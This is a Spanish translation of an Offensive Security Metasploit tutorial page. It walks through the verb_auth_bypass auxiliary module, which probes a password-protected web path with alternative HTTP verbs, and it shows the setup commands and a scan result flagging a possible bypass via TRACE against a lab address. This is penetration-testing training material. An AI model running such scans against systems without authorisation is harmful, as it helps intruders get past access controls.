Http/verb auth bypass

De www.metasploit-es.com.ar

El modulo "verb_auth_bypass" escanea un servidor o rango de servidores e intenta puentear la autenticacion utilizando diferentes verbos HTTP.

msf > use auxiliary/scanner/http/verb_auth_bypass
msf auxiliary(verb_auth_bypass) > show options

Module options (auxiliary/scanner/http/verb_auth_bypass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /                yes       The path to test
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    80               yes       The target port
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

Configuramos este modulo definiendo la ruta a la pagina que requiere autenticacion, definimos nuestro valor RHOSTS y ejecutamos el escaner.

msf auxiliary(verb_auth_bypass) > set PATH /xampp/
PATH => /xampp/
msf auxiliary(verb_auth_bypass) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(verb_auth_bypass) > run

[*] 192.168.1.201 requires authentication: Basic realm="xampp user" [401]
[*] Testing verb HEAD resp code: [401]
[*] Testing verb TRACE resp code: [200]
[*] Possible authentication bypass with verb TRACE code 200
[*] Testing verb TRACK resp code: [401]
[*] Testing verb WMAP resp code: [401]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(verb_auth_bypass) >

Leyendo los codigos de estado devueltos, el modulo indica que hay un potencial auth bypass utilizando el verbo TRACE en nuestro objetivo.



© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales